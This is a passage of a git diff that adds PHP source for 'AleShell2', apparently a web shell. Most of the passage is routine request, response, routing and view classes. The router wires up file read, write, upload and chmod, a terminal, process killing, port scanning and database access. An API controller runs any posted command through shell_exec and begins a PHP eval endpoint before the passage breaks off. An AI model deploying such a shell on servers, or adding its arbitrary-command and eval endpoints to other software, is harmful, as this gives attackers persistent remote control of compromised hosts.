||||
private array $post;
|
||||
private array $files;
|
||||
private array $headers;
|
||||
private array $server;
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
$this->method = strtoupper($_SERVER['REQUEST_METHOD'] ?? 'GET');
|
||||
$this->uri = $_SERVER['REQUEST_URI'] ?? '/';
|
||||
$this->path = $this->parsePath();
|
||||
$this->query = $_GET;
|
||||
$this->post = $_POST;
|
||||
$this->files = $_FILES;
|
||||
$this->server = $_SERVER;
|
||||
$this->headers = $this->parseHeaders();
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse request path from URI
|
||||
*/
|
||||
private function parsePath(): string
|
||||
{
|
||||
$uri = $_SERVER['REQUEST_URI'] ?? '/';
|
||||
$path = parse_url($uri, PHP_URL_PATH) ?: '/';
|
||||
|
||||
// Remove base path if present
|
||||
$scriptDir = dirname($_SERVER['SCRIPT_NAME'] ?? '');
|
||||
if ($scriptDir !== '/' && strpos($path, $scriptDir) === 0) {
|
||||
$path = substr($path, strlen($scriptDir));
|
||||
}
|
||||
|
||||
// Remove index.php if present
|
||||
$path = preg_replace('#^/index\.php#', '', $path) ?: '/';
|
||||
|
||||
return '/' . trim($path, '/');
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse request headers
|
||||
*/
|
||||
private function parseHeaders(): array
|
||||
{
|
||||
$headers = [];
|
||||
|
||||
foreach ($_SERVER as $key => $value) {
|
||||
if (strpos($key, 'HTTP_') === 0) {
|
||||
$header = str_replace('_', '-', substr($key, 5));
|
||||
$headers[strtolower($header)] = $value;
|
||||
}
|
||||
}
|
||||
|
||||
// Add content type and length if present
|
||||
if (isset($_SERVER['CONTENT_TYPE'])) {
|
||||
$headers['content-type'] = $_SERVER['CONTENT_TYPE'];
|
||||
}
|
||||
if (isset($_SERVER['CONTENT_LENGTH'])) {
|
||||
$headers['content-length'] = $_SERVER['CONTENT_LENGTH'];
|
||||
}
|
||||
|
||||
return $headers;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get request method
|
||||
*/
|
||||
public function getMethod(): string
|
||||
{
|
||||
return $this->method;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get request URI
|
||||
*/
|
||||
public function getUri(): string
|
||||
{
|
||||
return $this->uri;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get request path
|
||||
*/
|
||||
public function getPath(): string
|
||||
{
|
||||
return $this->path;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if request is AJAX
|
||||
*/
|
||||
public function isAjax(): bool
|
||||
{
|
||||
return strtolower($this->headers['x-requested-with'] ?? '') === 'xmlhttprequest';
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if request method matches
|
||||
*/
|
||||
public function isMethod(string $method): bool
|
||||
{
|
||||
return $this->method === strtoupper($method);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get query parameter
|
||||
*/
|
||||
public function get(string $key, mixed $default = null): mixed
|
||||
{
|
||||
return $this->query[$key] ?? $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get POST parameter
|
||||
*/
|
||||
public function post(string $key, mixed $default = null): mixed
|
||||
{
|
||||
return $this->post[$key] ?? $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all POST data
|
||||
*/
|
||||
public function all(): array
|
||||
{
|
||||
return array_merge($this->query, $this->post);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get input from GET or POST
|
||||
*/
|
||||
public function input(string $key, mixed $default = null): mixed
|
||||
{
|
||||
return $this->post[$key] ?? $this->query[$key] ?? $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get header
|
||||
*/
|
||||
public function header(string $key, mixed $default = null): mixed
|
||||
{
|
||||
return $this->headers[strtolower($key)] ?? $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get uploaded file
|
||||
*/
|
||||
public function file(string $key): ?array
|
||||
{
|
||||
return $this->files[$key] ?? null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get client IP address
|
||||
*/
|
||||
public function getClientIP(): string
|
||||
{
|
||||
$headers = [
|
||||
'HTTP_CF_CONNECTING_IP', // Cloudflare
|
||||
'HTTP_X_FORWARDED_FOR', // Proxy
|
||||
'HTTP_X_REAL_IP', // Nginx
|
||||
'HTTP_CLIENT_IP', // Other proxies
|
||||
'REMOTE_ADDR', // Direct connection
|
||||
];
|
||||
|
||||
foreach ($headers as $header) {
|
||||
if (!empty($this->server[$header])) {
|
||||
$ips = explode(',', $this->server[$header]);
|
||||
$ip = trim($ips[0]);
|
||||
|
||||
if (filter_var($ip, FILTER_VALIDATE_IP)) {
|
||||
return $ip;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return '0.0.0.0';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get raw request body
|
||||
*/
|
||||
public function getBody(): string
|
||||
{
|
||||
return file_get_contents('php://input') ?: '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Get JSON body
|
||||
*/
|
||||
public function json(): ?array
|
||||
{
|
||||
$body = $this->getBody();
|
||||
|
||||
if (empty($body)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$data = json_decode($body, true);
|
||||
|
||||
return is_array($data) ? $data : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if request expects JSON response
|
||||
*/
|
||||
public function expectsJson(): bool
|
||||
{
|
||||
$accept = $this->header('accept', '');
|
||||
return str_contains($accept, 'application/json') || $this->isAjax();
|
||||
}
|
||||
|
||||
/**
|
||||
* Get server variable
|
||||
*/
|
||||
public function server(string $key, mixed $default = null): mixed
|
||||
{
|
||||
return $this->server[$key] ?? $default;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get query string
|
||||
*/
|
||||
public function getQueryString(): string
|
||||
{
|
||||
return $_SERVER['QUERY_STRING'] ?? '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Build URL with query parameters
|
||||
*/
|
||||
public function fullUrl(): string
|
||||
{
|
||||
$scheme = (!empty($this->server['HTTPS']) && $this->server['HTTPS'] !== 'off') ? 'https' : 'http';
|
||||
$host = $this->server['HTTP_HOST'] ?? 'localhost';
|
||||
|
||||
return $scheme . '://' . $host . $this->uri;
|
||||
}
|
||||
}
|
||||
241
src/Core/Response.php
Archivo normal
241
src/Core/Response.php
Archivo normal
@@ -0,0 +1,241 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Response Handler
|
||||
*
|
||||
* Handles HTTP responses.
|
||||
*
|
||||
* @package AleShell2\Core
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Core;
|
||||
|
||||
class Response
|
||||
{
|
||||
private int $statusCode = 200;
|
||||
private array $headers = [];
|
||||
private string $content = '';
|
||||
private bool $sent = false;
|
||||
|
||||
/**
|
||||
* Set HTTP status code
|
||||
*/
|
||||
public function setStatusCode(int $code): self
|
||||
{
|
||||
$this->statusCode = $code;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get HTTP status code
|
||||
*/
|
||||
public function getStatusCode(): int
|
||||
{
|
||||
return $this->statusCode;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set response header
|
||||
*/
|
||||
public function setHeader(string $name, string $value): self
|
||||
{
|
||||
$this->headers[$name] = $value;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set content type
|
||||
*/
|
||||
public function setContentType(string $type): self
|
||||
{
|
||||
$this->headers['Content-Type'] = $type;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set response content
|
||||
*/
|
||||
public function setContent(string $content): self
|
||||
{
|
||||
$this->content = $content;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get response content
|
||||
*/
|
||||
public function getContent(): string
|
||||
{
|
||||
return $this->content;
|
||||
}
|
||||
|
||||
/**
|
||||
* Send JSON response
|
||||
*/
|
||||
public function json(mixed $data, int $statusCode = 200): void
|
||||
{
|
||||
$this->statusCode = $statusCode;
|
||||
$this->headers['Content-Type'] = 'application/json; charset=utf-8';
|
||||
$this->content = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
$this->send();
|
||||
}
|
||||
|
||||
/**
|
||||
* Send success JSON response
|
||||
*/
|
||||
public function success(mixed $data = null, string $message = 'Success'): void
|
||||
{
|
||||
$this->json([
|
||||
'success' => true,
|
||||
'message' => $message,
|
||||
'data' => $data,
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send error JSON response
|
||||
*/
|
||||
public function error(string $message, int $statusCode = 400, mixed $data = null): void
|
||||
{
|
||||
$this->json([
|
||||
'success' => false,
|
||||
'message' => $message,
|
||||
'data' => $data,
|
||||
], $statusCode);
|
||||
}
|
||||
|
||||
/**
|
||||
* Send HTML response
|
||||
*/
|
||||
public function html(string $content, int $statusCode = 200): void
|
||||
{
|
||||
$this->statusCode = $statusCode;
|
||||
$this->headers['Content-Type'] = 'text/html; charset=utf-8';
|
||||
$this->content = $content;
|
||||
$this->send();
|
||||
}
|
||||
|
||||
/**
|
||||
* Send file download
|
||||
*/
|
||||
public function download(string $filePath, string $filename = null): void
|
||||
{
|
||||
if (!file_exists($filePath)) {
|
||||
$this->error('File not found', 404);
|
||||
return;
|
||||
}
|
||||
|
||||
$filename = $filename ?? basename($filePath);
|
||||
$mimeType = mime_content_type($filePath) ?: 'application/octet-stream';
|
||||
|
||||
$this->headers['Content-Type'] = $mimeType;
|
||||
$this->headers['Content-Disposition'] = 'attachment; filename="' . $filename . '"';
|
||||
$this->headers['Content-Length'] = (string)filesize($filePath);
|
||||
$this->headers['Cache-Control'] = 'no-cache, no-store, must-revalidate';
|
||||
|
||||
$this->sendHeaders();
|
||||
|
||||
readfile($filePath);
|
||||
$this->sent = true;
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Send file inline (for viewing)
|
||||
*/
|
||||
public function file(string $filePath, string $mimeType = null): void
|
||||
{
|
||||
if (!file_exists($filePath)) {
|
||||
$this->error('File not found', 404);
|
||||
return;
|
||||
}
|
||||
|
||||
$mimeType = $mimeType ?? mime_content_type($filePath) ?: 'application/octet-stream';
|
||||
|
||||
$this->headers['Content-Type'] = $mimeType;
|
||||
$this->headers['Content-Length'] = (string)filesize($filePath);
|
||||
|
||||
$this->sendHeaders();
|
||||
|
||||
readfile($filePath);
|
||||
$this->sent = true;
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Redirect to URL
|
||||
*/
|
||||
public function redirect(string $url, int $statusCode = 302): void
|
||||
{
|
||||
$this->statusCode = $statusCode;
|
||||
$this->headers['Location'] = $url;
|
||||
$this->send();
|
||||
exit;
|
||||
}
|
||||
|
||||
/**
|
||||
* Send headers
|
||||
*/
|
||||
private function sendHeaders(): void
|
||||
{
|
||||
if (headers_sent()) {
|
||||
return;
|
||||
}
|
||||
|
||||
http_response_code($this->statusCode);
|
||||
|
||||
foreach ($this->headers as $name => $value) {
|
||||
header("{$name}: {$value}");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send response
|
||||
*/
|
||||
public function send(): void
|
||||
{
|
||||
if ($this->sent) {
|
||||
return;
|
||||
}
|
||||
|
||||
$this->sendHeaders();
|
||||
|
||||
echo $this->content;
|
||||
|
||||
$this->sent = true;
|
||||
|
||||
if (function_exists('fastcgi_finish_request')) {
|
||||
fastcgi_finish_request();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if response was sent
|
||||
*/
|
||||
public function isSent(): bool
|
||||
{
|
||||
return $this->sent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set no cache headers
|
||||
*/
|
||||
public function noCache(): self
|
||||
{
|
||||
$this->headers['Cache-Control'] = 'no-cache, no-store, must-revalidate';
|
||||
$this->headers['Pragma'] = 'no-cache';
|
||||
$this->headers['Expires'] = '0';
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set cache headers
|
||||
*/
|
||||
public function cache(int $seconds): self
|
||||
{
|
||||
$this->headers['Cache-Control'] = "public, max-age={$seconds}";
|
||||
$this->headers['Expires'] = gmdate('D, d M Y H:i:s', time() + $seconds) . ' GMT';
|
||||
return $this;
|
||||
}
|
||||
}
|
||||
248
src/Core/Router.php
Archivo normal
248
src/Core/Router.php
Archivo normal
@@ -0,0 +1,248 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Router
|
||||
*
|
||||
* Routes requests to appropriate handlers.
|
||||
*
|
||||
* @package AleShell2\Core
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Core;
|
||||
|
||||
use AleShell2\Security\Auth;
|
||||
|
||||
class Router
|
||||
{
|
||||
private array $config;
|
||||
private Auth $auth;
|
||||
private array $routes = [];
|
||||
|
||||
public function __construct(array $config, Auth $auth)
|
||||
{
|
||||
$this->config = $config;
|
||||
$this->auth = $auth;
|
||||
$this->registerRoutes();
|
||||
}
|
||||
|
||||
/**
|
||||
* Register all application routes
|
||||
*/
|
||||
private function registerRoutes(): void
|
||||
{
|
||||
// Authentication routes (no auth required)
|
||||
$this->addRoute('GET', '/login', 'auth.login', false);
|
||||
$this->addRoute('POST', '/login', 'auth.login', false);
|
||||
$this->addRoute('POST', '/logout', 'auth.logout', true);
|
||||
$this->addRoute('GET', '/auth/status', 'auth.status', false);
|
||||
|
||||
// Main routes (auth required)
|
||||
$this->addRoute('GET', '/', 'dashboard.index', true);
|
||||
$this->addRoute('GET', '/dashboard', 'dashboard.index', true);
|
||||
|
||||
// File manager
|
||||
$this->addRoute('GET', '/files', 'files.index', true);
|
||||
$this->addRoute('POST', '/files/list', 'files.list', true);
|
||||
$this->addRoute('POST', '/files/read', 'files.read', true);
|
||||
$this->addRoute('POST', '/files/write', 'files.write', true);
|
||||
$this->addRoute('POST', '/files/delete', 'files.delete', true);
|
||||
$this->addRoute('POST', '/files/create', 'files.create', true);
|
||||
$this->addRoute('POST', '/files/rename', 'files.rename', true);
|
||||
$this->addRoute('POST', '/files/copy', 'files.copy', true);
|
||||
$this->addRoute('POST', '/files/move', 'files.move', true);
|
||||
$this->addRoute('POST', '/files/chmod', 'files.chmod', true);
|
||||
$this->addRoute('POST', '/files/upload', 'files.upload', true);
|
||||
$this->addRoute('GET', '/files/download', 'files.download', true);
|
||||
$this->addRoute('POST', '/files/mkdir', 'files.mkdir', true);
|
||||
$this->addRoute('POST', '/files/search', 'files.search', true);
|
||||
|
||||
// Terminal
|
||||
$this->addRoute('GET', '/terminal', 'terminal.index', true);
|
||||
$this->addRoute('POST', '/terminal/execute', 'terminal.execute', true);
|
||||
$this->addRoute('GET', '/terminal/history', 'terminal.history', true);
|
||||
$this->addRoute('POST', '/terminal/clear', 'terminal.clear', true);
|
||||
|
||||
// Code editor
|
||||
$this->addRoute('GET', '/editor', 'editor.index', true);
|
||||
$this->addRoute('POST', '/editor/save', 'editor.save', true);
|
||||
|
||||
// Processes
|
||||
$this->addRoute('GET', '/processes', 'processes.index', true);
|
||||
$this->addRoute('POST', '/processes/list', 'processes.list', true);
|
||||
$this->addRoute('POST', '/processes/kill', 'processes.kill', true);
|
||||
|
||||
// Network
|
||||
$this->addRoute('GET', '/network', 'network.index', true);
|
||||
$this->addRoute('POST', '/network/connections', 'network.connections', true);
|
||||
$this->addRoute('POST', '/network/ping', 'network.ping', true);
|
||||
$this->addRoute('POST', '/network/traceroute', 'network.traceroute', true);
|
||||
$this->addRoute('POST', '/network/portscan', 'network.portscan', true);
|
||||
|
||||
// Database
|
||||
$this->addRoute('GET', '/database', 'database.index', true);
|
||||
$this->addRoute('POST', '/database/connect', 'database.connect', true);
|
||||
$this->addRoute('POST', '/database/query', 'database.query', true);
|
||||
$this->addRoute('POST', '/database/tables', 'database.tables', true);
|
||||
$this->addRoute('POST', '/database/structure', 'database.structure', true);
|
||||
|
||||
// System info
|
||||
$this->addRoute('GET', '/system', 'system.index', true);
|
||||
$this->addRoute('GET', '/system/info', 'system.info', true);
|
||||
|
||||
// API endpoints
|
||||
$this->addRoute('GET', '/api/config', 'api.config', true);
|
||||
$this->addRoute('GET', '/api/system', 'api.system', true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Add a route
|
||||
*/
|
||||
public function addRoute(string $method, string $path, string $handler, bool $requireAuth = true): void
|
||||
{
|
||||
$this->routes[] = [
|
||||
'method' => strtoupper($method),
|
||||
'path' => $path,
|
||||
'handler' => $handler,
|
||||
'requireAuth' => $requireAuth,
|
||||
'pattern' => $this->pathToPattern($path),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert path to regex pattern
|
||||
*/
|
||||
private function pathToPattern(string $path): string
|
||||
{
|
||||
$pattern = preg_replace('/\{([^}]+)\}/', '(?P<$1>[^/]+)', $path);
|
||||
return '#^' . $pattern . '$#';
|
||||
}
|
||||
|
||||
/**
|
||||
* Dispatch request to handler
|
||||
*/
|
||||
public function dispatch(Request $request, Response $response): void
|
||||
{
|
||||
$method = $request->getMethod();
|
||||
$path = $request->getPath();
|
||||
|
||||
// Handle empty path
|
||||
if ($path === '' || $path === '/index.php') {
|
||||
$path = '/';
|
||||
}
|
||||
|
||||
// Find matching route
|
||||
foreach ($this->routes as $route) {
|
||||
if ($route['method'] === $method && preg_match($route['pattern'], $path, $matches)) {
|
||||
// Check authentication
|
||||
if ($route['requireAuth'] && !$this->auth->isAuthenticated()) {
|
||||
if ($request->expectsJson()) {
|
||||
$response->error('Unauthorized', 401);
|
||||
} else {
|
||||
$response->redirect('/login');
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// Extract parameters
|
||||
$params = array_filter($matches, 'is_string', ARRAY_FILTER_USE_KEY);
|
||||
|
||||
// Execute handler
|
||||
$this->executeHandler($route['handler'], $request, $response, $params);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// No route found - 404
|
||||
if ($request->expectsJson()) {
|
||||
$response->error('Not Found', 404);
|
||||
} else {
|
||||
$response->html($this->get404Page(), 404);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute route handler
|
||||
*/
|
||||
private function executeHandler(string $handler, Request $request, Response $response, array $params): void
|
||||
{
|
||||
[$module, $action] = explode('.', $handler);
|
||||
|
||||
$controllerClass = 'AleShell2\\Modules\\' . ucfirst($module) . '\\' . ucfirst($module) . 'Controller';
|
||||
|
||||
if (!class_exists($controllerClass)) {
|
||||
$response->error("Controller not found: {$controllerClass}", 500);
|
||||
return;
|
||||
}
|
||||
|
||||
$controller = new $controllerClass($this->config, $this->auth);
|
||||
|
||||
if (!method_exists($controller, $action)) {
|
||||
$response->error("Action not found: {$action}", 500);
|
||||
return;
|
||||
}
|
||||
|
||||
$controller->$action($request, $response, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get 404 page HTML
|
||||
*/
|
||||
private function get404Page(): string
|
||||
{
|
||||
return '<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>404 - Not Found</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
|
||||
background: #1a202c;
|
||||
color: #f7fafc;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
min-height: 100vh;
|
||||
margin: 0;
|
||||
}
|
||||
.container {
|
||||
text-align: center;
|
||||
padding: 2rem;
|
||||
}
|
||||
h1 {
|
||||
font-size: 6rem;
|
||||
margin: 0;
|
||||
color: #667eea;
|
||||
}
|
||||
p {
|
||||
font-size: 1.5rem;
|
||||
color: #a0aec0;
|
||||
margin: 1rem 0;
|
||||
}
|
||||
a {
|
||||
display: inline-block;
|
||||
margin-top: 1rem;
|
||||
padding: 0.75rem 1.5rem;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
border-radius: 8px;
|
||||
transition: transform 0.2s;
|
||||
}
|
||||
a:hover {
|
||||
transform: translateY(-2px);
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>404</h1>
|
||||
<p>Page not found</p>
|
||||
<a href="/">Return to Dashboard</a>
|
||||
</div>
|
||||
</body>
|
||||
</html>';
|
||||
}
|
||||
}
|
||||
247
src/Core/View.php
Archivo normal
247
src/Core/View.php
Archivo normal
@@ -0,0 +1,247 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 View Renderer
|
||||
*
|
||||
* Handles rendering of views and templates.
|
||||
*
|
||||
* @package AleShell2\Core
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Core;
|
||||
|
||||
class View
|
||||
{
|
||||
private static array $sharedData = [];
|
||||
|
||||
/**
|
||||
* Share data with all views
|
||||
*/
|
||||
public static function share(string $key, mixed $value): void
|
||||
{
|
||||
self::$sharedData[$key] = $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Render a view
|
||||
*/
|
||||
public static function render(string $view, array $data = []): string
|
||||
{
|
||||
$viewPath = ALESHELL_SRC . '/Views/' . str_replace('.', '/', $view) . '.php';
|
||||
|
||||
if (!file_exists($viewPath)) {
|
||||
throw new \RuntimeException("View not found: {$view}");
|
||||
}
|
||||
|
||||
// Merge shared data
|
||||
$data = array_merge(self::$sharedData, $data);
|
||||
|
||||
// Extract data to variables
|
||||
extract($data, EXTR_SKIP);
|
||||
|
||||
// Capture output
|
||||
ob_start();
|
||||
include $viewPath;
|
||||
return ob_get_clean();
|
||||
}
|
||||
|
||||
/**
|
||||
* Render a view with layout
|
||||
*/
|
||||
public static function renderWithLayout(string $view, string $layout = 'layouts.main', array $data = []): string
|
||||
{
|
||||
// Render the view content first
|
||||
$data['content'] = self::render($view, $data);
|
||||
|
||||
// Render the layout with the view content
|
||||
return self::render($layout, $data);
|
||||
}
|
||||
|
||||
/**
|
||||
* Include a partial
|
||||
*/
|
||||
public static function partial(string $partial, array $data = []): string
|
||||
{
|
||||
return self::render('components.' . $partial, $data);
|
||||
}
|
||||
|
||||
/**
|
||||
* Escape HTML
|
||||
*/
|
||||
public static function e(string $value): string
|
||||
{
|
||||
return htmlspecialchars($value, ENT_QUOTES | ENT_HTML5, 'UTF-8');
|
||||
}
|
||||
|
||||
/**
|
||||
* Format bytes to human readable
|
||||
*/
|
||||
public static function formatBytes(int $bytes, int $precision = 2): string
|
||||
{
|
||||
if ($bytes === 0) {
|
||||
return '0 B';
|
||||
}
|
||||
|
||||
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
|
||||
$pow = floor(log($bytes, 1024));
|
||||
$pow = min($pow, count($units) - 1);
|
||||
|
||||
return round($bytes / pow(1024, $pow), $precision) . ' ' . $units[$pow];
|
||||
}
|
||||
|
||||
/**
|
||||
* Format timestamp
|
||||
*/
|
||||
public static function formatTime(int $timestamp, string $format = 'Y-m-d H:i:s'): string
|
||||
{
|
||||
return date($format, $timestamp);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get file icon based on extension
|
||||
*/
|
||||
public static function fileIcon(string $filename, bool $isDirectory = false): string
|
||||
{
|
||||
if ($isDirectory) {
|
||||
return '📁';
|
||||
}
|
||||
|
||||
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
|
||||
|
||||
$icons = [
|
||||
// Code
|
||||
'php' => '🐘',
|
||||
'js' => '📜',
|
||||
'ts' => '📘',
|
||||
'py' => '🐍',
|
||||
'rb' => '💎',
|
||||
'java' => '☕',
|
||||
'c' => '⚙️',
|
||||
'cpp' => '⚙️',
|
||||
'h' => '⚙️',
|
||||
'cs' => '🔷',
|
||||
'go' => '🔵',
|
||||
'rs' => '🦀',
|
||||
'swift' => '🍎',
|
||||
|
||||
// Web
|
||||
'html' => '🌐',
|
||||
'htm' => '🌐',
|
||||
'css' => '🎨',
|
||||
'scss' => '🎨',
|
||||
'sass' => '🎨',
|
||||
'less' => '🎨',
|
||||
'vue' => '💚',
|
||||
'jsx' => '⚛️',
|
||||
'tsx' => '⚛️',
|
||||
|
||||
// Data
|
||||
'json' => '📋',
|
||||
'xml' => '📋',
|
||||
'yaml' => '📋',
|
||||
'yml' => '📋',
|
||||
'toml' => '📋',
|
||||
'csv' => '📊',
|
||||
'sql' => '🗃️',
|
||||
|
||||
// Documents
|
||||
'txt' => '📄',
|
||||
'md' => '📝',
|
||||
'pdf' => '📕',
|
||||
'doc' => '📘',
|
||||
'docx' => '📘',
|
||||
'xls' => '📗',
|
||||
'xlsx' => '📗',
|
||||
'ppt' => '📙',
|
||||
'pptx' => '📙',
|
||||
|
||||
// Images
|
||||
'jpg' => '🖼️',
|
||||
'jpeg' => '🖼️',
|
||||
'png' => '🖼️',
|
||||
'gif' => '🖼️',
|
||||
'svg' => '🖼️',
|
||||
'webp' => '🖼️',
|
||||
'ico' => '🖼️',
|
||||
'bmp' => '🖼️',
|
||||
|
||||
// Media
|
||||
'mp3' => '🎵',
|
||||
'wav' => '🎵',
|
||||
'ogg' => '🎵',
|
||||
'flac' => '🎵',
|
||||
'mp4' => '🎬',
|
||||
'avi' => '🎬',
|
||||
'mkv' => '🎬',
|
||||
'mov' => '🎬',
|
||||
|
||||
// Archives
|
||||
'zip' => '📦',
|
||||
'rar' => '📦',
|
||||
'tar' => '📦',
|
||||
'gz' => '📦',
|
||||
'7z' => '📦',
|
||||
|
||||
// Config
|
||||
'env' => '⚙️',
|
||||
'ini' => '⚙️',
|
||||
'conf' => '⚙️',
|
||||
'config' => '⚙️',
|
||||
|
||||
// Executable
|
||||
'sh' => '⚡',
|
||||
'bash' => '⚡',
|
||||
'zsh' => '⚡',
|
||||
'bat' => '⚡',
|
||||
'exe' => '⚡',
|
||||
'bin' => '⚡',
|
||||
];
|
||||
|
||||
return $icons[$ext] ?? '📄';
|
||||
}
|
||||
|
||||
/**
|
||||
* Syntax highlight language based on extension
|
||||
*/
|
||||
public static function highlightLang(string $filename): string
|
||||
{
|
||||
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
|
||||
|
||||
$langs = [
|
||||
'php' => 'php',
|
||||
'js' => 'javascript',
|
||||
'ts' => 'typescript',
|
||||
'jsx' => 'jsx',
|
||||
'tsx' => 'tsx',
|
||||
'py' => 'python',
|
||||
'rb' => 'ruby',
|
||||
'java' => 'java',
|
||||
'c' => 'c',
|
||||
'cpp' => 'cpp',
|
||||
'cs' => 'csharp',
|
||||
'go' => 'go',
|
||||
'rs' => 'rust',
|
||||
'swift' => 'swift',
|
||||
'html' => 'html',
|
||||
'htm' => 'html',
|
||||
'css' => 'css',
|
||||
'scss' => 'scss',
|
||||
'sass' => 'sass',
|
||||
'less' => 'less',
|
||||
'json' => 'json',
|
||||
'xml' => 'xml',
|
||||
'yaml' => 'yaml',
|
||||
'yml' => 'yaml',
|
||||
'md' => 'markdown',
|
||||
'sql' => 'sql',
|
||||
'sh' => 'bash',
|
||||
'bash' => 'bash',
|
||||
'zsh' => 'bash',
|
||||
'ini' => 'ini',
|
||||
'env' => 'bash',
|
||||
];
|
||||
|
||||
return $langs[$ext] ?? 'plaintext';
|
||||
}
|
||||
}
|
||||
223
src/Modules/Api/ApiController.php
Archivo normal
223
src/Modules/Api/ApiController.php
Archivo normal
@@ -0,0 +1,223 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 API Controller
|
||||
*
|
||||
* Handles general API endpoints.
|
||||
*
|
||||
* @package AleShell2\Modules\Api
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace AleShell2\Modules\Api;
|
||||
|
||||
use AleShell2\Modules\BaseController;
|
||||
use AleShell2\Core\Request;
|
||||
use AleShell2\Core\Response;
|
||||
|
||||
class ApiController extends BaseController
|
||||
{
|
||||
/**
|
||||
* API status endpoint
|
||||
*/
|
||||
public function status(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->success($response, [
|
||||
'name' => 'AleShell2',
|
||||
'version' => '1.0.0',
|
||||
'status' => 'operational',
|
||||
'php_version' => PHP_VERSION,
|
||||
'server_time' => date('Y-m-d H:i:s'),
|
||||
'timezone' => date_default_timezone_get(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get CSRF token
|
||||
*/
|
||||
public function csrf(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$this->success($response, [
|
||||
'csrf_token' => $this->app->getAuth()->generateCsrfToken(),
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Health check endpoint
|
||||
*/
|
||||
public function health(Request $request, Response $response, array $params): void
|
||||
{
|
||||
$checks = [
|
||||
'application' => true,
|
||||
'session' => session_status() === PHP_SESSION_ACTIVE,
|
||||
'writable_temp' => is_writable(sys_get_temp_dir()),
|
||||
];
|
||||
|
||||
$healthy = !in_array(false, $checks, true);
|
||||
|
||||
$response->json([
|
||||
'healthy' => $healthy,
|
||||
'checks' => $checks,
|
||||
'timestamp' => time(),
|
||||
], $healthy ? 200 : 503);
|
||||
}
|
||||
|
||||
/**
|
||||
* Quick command execution API
|
||||
*/
|
||||
public function exec(Request $request, Response $response, array $params): void
|
||||
{
|
||||
if (!$this->validateCsrf($request, $response)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$command = $request->post('command');
|
||||
|
||||
if (!$command) {
|
||||
$this->error($response, 'Command is required');
|
||||
return;
|
||||
}
|
||||
|
||||
$output = shell_exec($command . ' 2>&1');
|
||||
|
||||
$this->success($response, [
|
||||
'command' => $command,
|
||||
'output' => $output ?? '',
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* PHP eval endpoint
|
||||
*/
|
||||
public function eval(Request $request, Response $response, array $params): void
|
||||
{
|
||||
